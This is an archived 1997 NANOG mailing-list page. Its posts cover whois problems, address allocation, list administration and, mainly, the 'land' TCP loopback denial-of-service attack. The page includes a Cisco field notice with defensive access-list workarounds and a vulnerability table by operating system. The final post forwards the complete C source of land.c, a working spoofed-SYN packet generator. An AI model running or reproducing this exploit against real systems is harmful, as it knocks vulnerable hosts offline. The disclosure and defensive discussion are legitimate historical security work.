November 1997 - Test - lists.nanog.org

whois.internic.net
by William Duncanson 21 Nov '97

21 Nov '97

This is most annoying: fire /usr/home/caesar $ whois starkreality.com whois: connect: Connection refused And this: D:\users\Caesar>whois starkreality.com host "whois.internic.net" does not support "whois" queries Anybody know anyplace else that has up-to-date whois infomration? -- _________________ _ _ _________________________ William S. Duncanson |_| Collective |_| http://www.colltech.com Page:800-495-1005 |_ Technologies _| wduncanson(a)colltech.com caesar(a)starkreality.com [] [] "The Power Of Many Minds"

1 0

Re: Land Protection for Cisco
by Jim Shankland 21 Nov '97

21 Nov '97

Paul D. Robertson <root(a)gannett.com> writes: > Has anyone tried [the "land" attack] sourced and destined for > different interfaces on the same box? My test gear is all tied > up right now, and I'd rather not test on a production box. It is highly unlikely that this would work. The essence of the attack is creating a TCP connection in which (src-ip, src-port) is equal to (dst-ip, dst-port), so that the box's responses on that TCP circuit reappear as input from the "peer". This won't happen if src-ip != dst-ip, even if both ip's are associated with the same box. Jim Shankland Flying Fox Computer Systems, Inc.

1 0

Re: Geographic v. topological address allocation
by Tony Li 21 Nov '97

21 Nov '97

> This is true, but the definition of the top of the hierarchy is arbitrary Not at all true. The top of the hierarchy must be default free. > and is the nexus of the debate about "topological" versus geographical > addressing, which I interpret as "ISP at top" versus "exchange point at > top" hierarchies. Both are valid topological hierarchies. True, however, geographic addressing has some rather severe practical problems. The exchange point at the top becomes a single point of failure. So it needs replication. But then, there needs to be interconnect between the exchange points. Who provides it? All this and more has been beaten to death. If you start with the premise of geographic addressing and try to beat it into working, you end up with an ISPAC. See ftp://ftp.juniper.net/pub/users/tli/ispac.txt. Tony

2 2

Field Notice: TCP loopback DoS Attack (land.c) and Cisco Devices
by John Bashinski 21 Nov '97

21 Nov '97

-----BEGIN PGP SIGNED MESSAGE----- Field Notice: TCP loopback DoS Attack (land.c) and Cisco Devices November 21, 1997, 14:00 AM US/Pacific, Revision 1 - -------------------------------------------------- Summary - ----- Somebody has released a program, known as land.c, which can be used to launch denial of service attacks against various TCP implementations. The program sends a TCP SYN packet (a connection initiation), giving the target host's address as both source and destination, and using the same port on the target host as both source and destination. Classic IOS software (used on Cisco routers with product numbers greater than 1000, on the CGS/MGS/AGS+, and on the CS-500) is moderately vulnerable to this attack. For some IOS versions, if the attack is launched against a TCP port that is actually listening (say the TELNET port), then invalid connection data will be created, preventing further legitimate connections for approximately 30 seconds. High CPU loads may result on some IOS versions. We observed a complete hang on one 11.5 system, but have been unable to reproduce that failure. Based on very preliminary data, the router's packet forwarding functions are not generally affected. IOS/700 (used on Cisco 7xx routers) is also vulnerable. The 7xx vulnerability is more devastating than the classic IOS vulnerability, but probably less dangerous for most customers, since firewalls separate most 7xx routers from the Internet. The PIX firewall appears does not appear to be affected. Initial testing of the Centri firewall tends to indicate that it is not affected. We're working on characterizing other products' vulnerability to attack. Updates will be issued as information becomes available. Who is Affected - ------------- All IOS and IOS/700 systems that can be reached via TCP from untrusted hosts are affected, provided that the reachable TCP ports are ports on which IOS ordinarily provides service. The attack requires spoofing the targets's own address, so systems behind effective anti-spoofing firewalls are safe. Impact - ---- Classic IOS systems may experience slowdowns while under active attack. On IOS software versions earlier than 11.2(4), new TCP connections will fail for a period of about 30 seconds after any attack packet is received. IOS versions later than 11.2(4), or that contain the fix for bug ID CSCdi87533, may experience slowdowns, but should continue to accept new TCP connections . Most IOS versions appear to recover completely within a few minutes of the attack stopping, but we have not yet fully characterized the effect on all IOS versions. One complete failure was observed; the version was 11.1(5). A configuration workaround for classic IOS can prevent the problem entirely, subject to performance restrictions. IOS/700 systems subjected to the attack will hang indefinitely and must be physically reset. A configuration workaround for IOS/700 can prevent the problem entirely. Initial tests indicate that the PIX firewall is not vulnerable to this attack. Tests have been conducted with version 4.1.3.245 and 4.0.7. Initial tests indicate that the Centri firewall (build 4.110) is not vulnerable to this attack with no exposed service configured. We have not yet tested the Centri product with exposed services. Workaround for Classic IOS - ------------------------ Classic IOS users can use input access lists on their interfaces to prevent the attack packets from entering their TCP stacks. This will prevent the attack entirely, but may have unacceptable performance impacts on heavily loaded high-end routers. Traffic will still be fast-switched, but higher-speed switching modes may be disabled. It should be tried with care. If you have no existing input access lists, create a new IP extended access list. Use a presently-unused number between 100 and 199. The access list must have an entry for each of the IP address configured on the system. Deny packets from each address to itself. For example: access-list 101 deny tcp 1.2.3.4 0.0.0.0 1.2.3.4 0.0.0.0 access-list 101 deny tcp 5.6.7.8 0.0.0.0 5.6.7.8 0.0.0.0 access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 If you have existing access lists, you'll need to merge the new entries in an appropriate way, generally at the top of the list. The access list should be applied incoming on all interfaces, so a fragment of a total router configuration might look like this: interface ethernet 0 ip address 1.2.3.4 255.255.255.0 ip access-group 101 in ! interface ethernet 1 ip address 5.6.7.8 ip access-group 101 in ! access-list 101 deny tcp 1.2.3.4 0.0.0.0 1.2.3.4 0.0.0.0 access-list 101 deny tcp 5.6.7.8 0.0.0.0 5.6.7.8 0.0.0.0 access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 Workaround for IOS/700 - -------------------- Add the following configuration command to any profile that may be active when connected to potentially hostile network: set ip filter tcp in source <7xx IP address> destination <7xx IP address> block Using Cisco Products to Protect Other Systems - ------------------------------------------- We do not believe that this attack can be used against systems behind our dedicated firewall products, the PIX and Centri firewalls, unless general-purpose tunnels have been enabled through the firewalls. Properly designed anti-spoofing access lists at border routers can be used to prevent the attack from entering a private network from the Internet. Use the access lists to filter out packets whose IP source addresses are on your internal net, but which are arriving from interfaces connected to the outside Internet. Exploitation and Public Announcements - ----------------------------------- Cisco has had multiple reports of this vulnerability. Most exploitation seems to be using the original program, which sends one packet at a time. Floods of invalid packets have not been reported. This issue has been widely discussed in a variety of Internet fora. Cisco first heard of this problem on the morning of Friday, November 21. Distribution of this Notice - ------------------------- This notice is being sent to the following Internet mailing lists and newsgroups: * cisco(a)spot.colorado.edu * comp.dcom.sys.cisco * bugtraq(a)netspace.org * first-teams(a)first.org (includes CERT/CC) * nanog(a)merit.edu Updates will be sent to some or all of these, as appropriate. This notice will be posted in the "Field Notices" section of Cisco's Worldwide Web site, which can be found under "Technical Tips" in the "Service and Support" section. The URL will be http://www.cisco.com/warp/public/770/land-pub.shtml The copy on the Worldwide Web will be updated as appropriate. Cisco Security Procedures - ----------------------- Please report security issues with Cisco products to security-alert(a)cisco.com. This notice is copyright 1997 by Cisco Systems, Inc. This notice may be redistributed freely provided that redistributed copies are complete and unmodified, including all date and version information. -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQEVAwUBNHYMogyPsuGbHvEpAQHojQgAtU3nEwtn+2Xg8W8jLTcCIiF+q0oFhmMS Z54T67xooTmsWbLzv409AYR73G/TbsNgflzQZa8amAXbz6EIUlzaYqJdHB2B7FsH GFh8c7VFZZ7zp9r9UVJJYjSYwRENLpDaKb5kx//zOFF/9eh4G95cJ6zMMLukSreJ MAA+5xc23SV+fpk+AmxEzWifAYoIz9KRsK0/GTHA93F17MZEvTIauVf3VxD8DSHV zA7ndUNuxH0rg2oGOok4XbiBSSXK3glkkCAkJ0OzGEPt7RZ1EcJ+TpTJpETu+F7z 0XyJXF25TxoMAu8MmmM4IQvRtZzM0PGCA6X3XErg6wiUFJL1JFpejQ== =SkPH -----END PGP SIGNATURE-----

1 0

RE: OPS: SECURITY new packet of death
by Darin Fisher 21 Nov '97

21 Nov '97

Other vulnerabilities: Cisco PIX NOT vulnerable Wellfleet NOT vulnerable NPI EIFO vulnerable (doesn't shut the system down, but you can no longer monitor from telnet) IRIX 5.3 vulnerable IRIX 6.4 NOT vulnerable SunOS 4.1.3 vulnerable Solaris 2.4 NOT vulnerable Solaris 2.5.1 NOT vulnerable Ultrix (all) vulnerable HPUX 9.x vulnerable HPUX 10.x NOT vulnerable AIX 3.2.5 NOT vulnerable AIX 4.1 NOT vulnerable WinNT (w/ service pack 3) a little vulnerable (slows the system 'till SYN timeout) Win95 (w/ service pack 1) NOT vulnerable ( NCDware 3.3.2 vulnerable Linux 2.0.30 NOT vulnerable Novell 3.11 NOT vulneralbe Novell 3.12 NOT vulnerable Novell 4.10 NOT vulnerable Motorola SVR5 3.0 NOT vulnerable > -----Original Message----- > From: Michael Behrens [SMTP:michael@gothmog.kingston.net] > Sent: Friday, November 21, 1997 12:51 PM > To: nanog(a)merit.edu > Subject: Re: OPS: SECURITY new packet of death > > On Fri, 21 Nov 1997, Stan Barber wrote: > > > BugTraq has a note that version 10.3(7) is vunerable. I don't know > which > > version of Cisco the IOS was running on. > > version 11.1(5) is vulnerable. > > Michael > > |InterNet Kingston #177 Wellington St. Ste #302| > |Kingston, Ontario K7L3E3, Canada | > |http://www.kingston.net Bigger, Better, Local |

1 0

Important: NANOG List Changes
by William B. Norton 21 Nov '97

21 Nov '97

Hi all - We have turned on a couple of MajorDomo features to alleviate a couple of problems we have seen recently and put in place a batch queueing mechanism to improve the delivery speed. Specifically... 1) WHO turned off ----------------- We turned off the WHO command on majordomo so folks can't find out who is on the nanog list. In the past at least one spammer harvested nanog addresses for individualized spam. 2) New Posting Process: nanog-post(a)merit.edu list ------------------------------------------------- Starting next week, majordomo will restrict posting to the nanog list to those subscribed to the nanog-post(a)merit.edu list. To subscribe to the nanog-post list, send e-mail to majordomo(a)merit.edu with subscribe nanog-post in the BODY. You will receive a confirmation request, and once answered, you will be able to post to the nanog mailing list. This should reduce the subscribe lists to lists problem (e.g. Marilyn Monroe) and requires only a one-time subscription to nanog-post for those contributing content to the group. *You need not do anything if you don't plan on posting to the nanog list.* 3) Batch queuing of e-mail messages ----------------------------------- We are currently piping it through bulk_mailer which forks off multiple sendmail processes for the delivery. This helps quite a bit. I checked the delivery times a while ago and the worst case I saw was about 2-3 hours. This is not really that bad for a list of nanog's size. There is some additional tuning possible to improve things further (have bulk_mailer fork additional sendmails, and tuning some of sendmail's timeouts for hosts that are being un-responsive). We are also looking at qmail which can internally parallelize deliveries as is done with bulk_mailer and sendmail, but without the overhead of having a separate processes. Note that even with qmail, there will also need to be a certain amount of serialization necessary (to avoid depleting certain resources such as file descriptors) and thus there will always be a certain amount of delay for large lists. Hope this helps. Thanks to Larry Blunk (ljb(a)merit.edu) for getting all this stuff in place. Let me know if you have questions, problems, concerns. Cheers - Bill

1 0

FW: Notification: Inbound Mail Failure
by Postmaster 21 Nov '97

21 Nov '97

> ---------- > From: Postmaster > Sent: Friday, November 21, 1997 15:05 > To: Postmaster > Subject: Notification: Inbound Mail Failure > > The following recipients did not receive the attached mail. Reasons > are listed with each recipient: > > <nrm1838(a)crcc.disa.mil> nrm1838(a)crcc.disa.mil > MSEXCH:IMS:DOD:CRCC:CRCCNT04 0 (000C05A6) Unknown Recipient > <nrm0865(a)crcc.disa.mil> nrm0865(a)crcc.disa.mil > MSEXCH:IMS:DOD:CRCC:CRCCNT04 0 (000C05A6) Unknown Recipient > > The message that caused this notification was: > > > ----- Message-ID: <3.0.1.32.19971121135920.00917df0(a)mail.ctel.net> From: Sheryl Chapin <schapin(a)ctel.net> To: nanog(a)merit.edu Subject: CERT mailing list Date: Fri, 21 Nov 1997 13:59:20 -0500 X-Priority: 3 X-Mailer: Internet Mail Service (5.0.1458.49) Hi all, Does anyone know how I would subscribe to the CERT mailing list? Thanks, Sheryl Chapin CommTel Internet 207.377.3508 schapin(a)ctel.net

1 0

The Cidr Report
by Tony Bates 21 Nov '97

21 Nov '97

1 0

Re: OPS: SECURITY new packet of death
by sob＠academ.com 21 Nov '97

21 Nov '97

BugTraq has a note that version 10.3(7) is vunerable. I don't know which version of Cisco the IOS was running on. -- Stan | Academ Consulting Services |internet: sob(a)academ.com Olan | For more info on academ, see this |uucp: {mcsun|amdahl}!academ!sob Barber | URL- http://www.academ.com/academ |Opinions expressed are only mine.

2 1

new TCP/IP bug in win95 (fwd)
by Brendan M Coffey 21 Nov '97

21 Nov '97

Here's the source posted on Bugtraq yesterday. ---------- Forwarded message ---------- Date: Thu, 20 Nov 1997 19:40:19 -0500 From: m3lt <meltman(a)LAGGED.NET> To: BUGTRAQ(a)NETSPACE.ORG Subject: new TCP/IP bug in win95 [ . . . deletia . . . ] --- snip snip ----------------------------------------------------------- /* land.c by m3lt, FLC crashes a win95 box */ #include <stdio.h> #include <netdb.h> #include <arpa/inet.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/ip_tcp.h> #include <netinet/protocols.h> struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; fprintf(stderr,"land.c by m3lt, FLC\n"); if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); } bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr; tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet\n"); return(-1); } fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); close(sock); return(0); } --- snip snip -----------------------------------------------------------

2 1